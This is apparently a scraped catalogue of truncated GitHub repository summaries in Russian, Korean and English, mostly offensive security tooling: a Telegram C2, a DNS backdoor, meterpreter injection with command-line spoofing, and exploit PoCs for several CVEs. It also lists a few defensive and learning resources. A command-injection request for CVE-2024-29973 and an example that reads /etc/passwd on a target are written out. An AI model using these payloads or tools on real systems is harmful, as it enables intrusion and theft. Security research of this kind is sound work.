telegram-c2

Telegram C2 Управление сервером через Telegram-ботов. Установка Tutorial Video Создайте Telegram-бота Отредактируйте main.py, укажите BOTAPIKEY API-ключ бота и telegramuserid ваш Telegram ID Установите следующие зависимости pip install -r requirements.txt Скомпилируйте в автономный бинарный файл...

CVE-2022-22947-POC

CVE-2022-22947-POC CVE-2022-22947 일괄 탐지 스크립트입니다. 명령 출력에 정규식 처리를 하지 않았습니다. 고수님들은 일단 사용해 주세요. 추후에 업데이트하겠습니다. 스크립트 경로에 url.txt를 넣으세요. python 脚本.py를 직접 실행하세요. 데모: 탐지가 완료되면 성공 결과 txt 파일이 생성됩니다. 이 스크립트는 코드를 주입하고, 라우트를 새로고침하고, 명령 출력을 확인하고, 주입된 명령을 삭제합니다. 고수님들, 욕하지 마세요. 버그가 있으면 내일 해결하겠습니다...

cmdchamp

cmdchamp Bash CLI 트레이너 — ls부터 권한 상승까지 30개 레벨. 모든 질문은 실제 명령어를 입력하도록 요구합니다 — 즉각적인 피드백을 받고 다음으로 넘어가세요. 틀리면 단순히 답을 보여주지 않습니다: 여러분의 명령어가 출력한 결과와 원하는 결과를 비교해 보여주고, 파이프라인의 경우 각 단계의 줄 수를 보여줘서 어디서 실패했는지 알 수 있습니다. 텍스트 매칭 질문의 경우 여러분의 답에 가장 가까운 정답과 빠뜨린 정확한 플래그를 알려줍니다. 긴 방법으로 맞추면 짧은 방법도 보여줍니다 — cat f | grep -...

ddoor

ddoor кроссплатформенный бэкдор, использующий DNS TXT записи Что такое ddoor? ddor — это легкий кроссплатформенный бэкдор, который использует TXT записи для выполнения команд на зараженных машинах. Возможности Позволяет одной TXT записи содержать отдельные команды для машин Linux и Windows Список...

Web-Security-Learning

Web-Security-Learning 프로젝트 주소: https://github.com/CHYbeta/Web-Security-Learning 지식 플래닛【취약점 공방】: https://t.zsxq.com/mm2zBeq 목차: Web-Security-Learning Web Security SQL 인젝션 MySql MSSQL PostgreSQL MongoDB 기법 도구 XSS CSRF 기타 프런트엔드 보안 SSRF XXE JSONP 인젝션 SSTI 코드 실행 / 명령 실행 파일 포함 파일 업로드 / 파싱 취약점 논리 취약점 무단...

CVE-2022-22947

Spring Cloud Gateway Actuator API SpEL 표현식 주입 명령 실행（CVE-2022-22947） Spring Cloud Gateway Actuator API SpEL Code Injection CVE-2022-22947 사용 방법: -t http://vuldomain.com //단일 IP -f urls.txt //파일에서 일괄 스캔, 멀티스레드 사용, 빠른 속도 -c command //사용자 지정 명령, 기본값은 whoami...

CmdLineSpoofer

Спуфинг командной строки Пример использования C для внедрения оболочки meterpreter с одновременным подменой командной строки. Командная строка хранится в блоке среды процесса PEB, логируется при запуске нового процесса и отображается в таких инструментах, как Process Hacker и Task Manager. Введен...

Invoke-Obfuscation

Invoke-Obfuscation v1.8 Введение Invoke-Obfuscation — это обфускатор команд и сценариев PowerShell, совместимый с PowerShell v2.0+. Предыстория Осенью 2015 года я решил заняться исследованием гибкости языка PowerShell и начал каталогизировать различные способы выполнения ряда распространённых...

detectXSSlib

detectXSSlib 프로젝트 폴더: detectxsslib - 메인 라이브러리자세한 내용은 ReadMe.txt 참조 modules - detectxsslib을 사용하는 서버 모듈 test - 라이브러리 검증에 사용되는 URL 세트 tools - detectxsslib을 사용하는 명령줄 도구 라이선스 세부사항은 license.txt를 참조하십시오...

openam-CVE-2021-35464

openam CVE-2021-35464 tomcat 명령 실행 결과 에코. 이 프로젝트는 ysoserial 및 Java-Rce-Echo를 기반으로 합니다. 프로젝트를 빌드하려면 종속성에 ysoserial.jar와 jato-14.6.3.jar를 추가해야 합니다. POST /OpenAM/ccversion/Version HTTP/1.1 Host: php.local:8081 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64...

Nuclei-Template-Exploit-F5-BIG-IP-iControl-REST-Auth-Bypass-RCE-Command-Parameter

Nuclei 템플릿 F5 BIG-IP iControl REST 인증 우회 RCE 익스플로잇 | 명령 매개변수 CVE-2022-1388은 BIG-IP iControl API의 REST 구성 요소에 대한 인증 우회 취약점으로, CVSSv3 점수 9.8을 부여받았습니다. iControl REST API는 BIG-IP 장치의 관리 및 구성에 사용됩니다. CVE-2022-1388은 BIG-IP를 사용하는 장치의 관리 포트 또는 자체 IP 주소에 네트워크 접근 권한이 있는 인증되지 않은 공격자에 의해 악용될 수 있습니다. 악용에 성공하면...

Cluster-Chaos-Exploiting-CVE-2025-59359-for-Kubernetes-Takeover

Cluster-Chaos-Exploiting-CVE-2025-59359-for-Kubernetes-Takeover CVE-2025-59359에 대한 실습형 포렌식 워크스루로, Chaos-Mesh의 치명적인 OS 명령 주입 결함을 다룹니다. 공격자가 GraphQL 뮤테이션을 통해 Kubernetes 클러스터를 탈취하는 방법과 ELK를 사용해 침해를 탐지·분석·보고하는 방법을 알아봅니다. Mark Mallia 작성 핵심 요약 CVE-2025-59359는 Chaos-Mesh의 Controller Manager에서 발견된 치명적인 O...

botb

Break out the Box BOtB BOtB is a container analysis and exploitation tool designed to be used by pentesters and engineers while also being CI/CD friendly with common CI/CD technologies. What does it do? BOtB is a CLI tool which allows you to: Exploit common container vulnerabilities Perform commo...

CVE-2019-19781

CVE-2019-19781 원격 코드 실행 익스플로잇 - Citrix Application Delivery Controller 및 Citrix Gateway 용 CVE-2019-19781 Usage : bash CVE-2019-19781.sh IPOFVULNURABLEHOST COMMANDTOEXECUTE e.g : bash CVE-2019-19781.sh XX.XX.XX.XX 'cat /etc/passwd'...

WHOREPRESS

Проверка логинов WordPress Установка npm install --global whorepress Использование убедитесь, что у вас есть список с форматом url:username:pass whorepress list.txt Список аргументов Аргументы| Описание ---|--- --admin-only| проверять только привилегии администратора --debug| вывод ошибок отладки...

CVE-2024-3400

CVE-2024-3400 CVE-2024-3400 Внедрение команд в ОС Palo Alto Описание от производителя Уязвимость внедрения команд в функции GlobalProtect программного обеспечения PAN-OS от Palo Alto Networks для определенных версий PAN-OS и отдельных конфигураций функций может позволить неаутентифицированному...

ip-finder-cli

IPFinder CLI Command Line Interface https://ipfinder.io/ Supports Single IP Address, asn, ranges, firewall as Input Supports Bulk Exports Results to Screen or to An Output File Supports IPv4 and IPv6 Supports ASN number , RANGES , Firewall Getting Started sign up for a free account at...

ip-finder-cli

IPFinder CLI 명령줄 인터페이스 https://ipfinder.io/ 단일 IP 주소, ASN, 범위, 방화벽 입력 지원 대량 처리 지원 결과를 화면 또는 출력 파일로 내보내기 IPv4 및 IPv6 지원 ASN 번호, 범위, 방화벽 지원 시작하기 https://ipfinder.io/auth/signup에서 무료 계정에 가입하여 무료 IPFinder API 액세스 토큰을 받으세요. 무료 요금제는 하루 4,000회 요청으로 제한되며 일부 데이터 필드는 포함되지 않습니다. 모든 데이터 필드와 추가 요청량을 활성화하려면...

CVE-2024-29973

CVE-2024-29973 GET /cmd,/simZysh/registermain/setCookie?c0=storageextcgi+CGIGetExtStoInfo+None+and+False+or+import"subprocess".checkoutput"id",+shell=True%23 HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept: / Accept-Language: en-US,en;q=0...

cacti-cve-2022-46169-exploit

CVE-2022-46169 PoC: 인증 우회 및 원격 코드 실행 이 저장소는 CVE-2022-46169 취약점에 대한 PoC를 포함하고 있으며, 공격자가 인증을 우회하고 영향을 받는 시스템에서 원격으로 임의 코드를 실행할 수 있게 합니다. 이 취약점은 2022년 8월 18일에 출시된 Cacti 버전 1.2.22에 영향을 미칩니다. 이 취약점은 remoteagent.php에 IP 주소를 검색하고 poller 테이블 내 항목을 확인하는 함수가 있기 때문에 발생합니다. 항목이 발견되면 함수는 true를 반환하고 클라이언트는...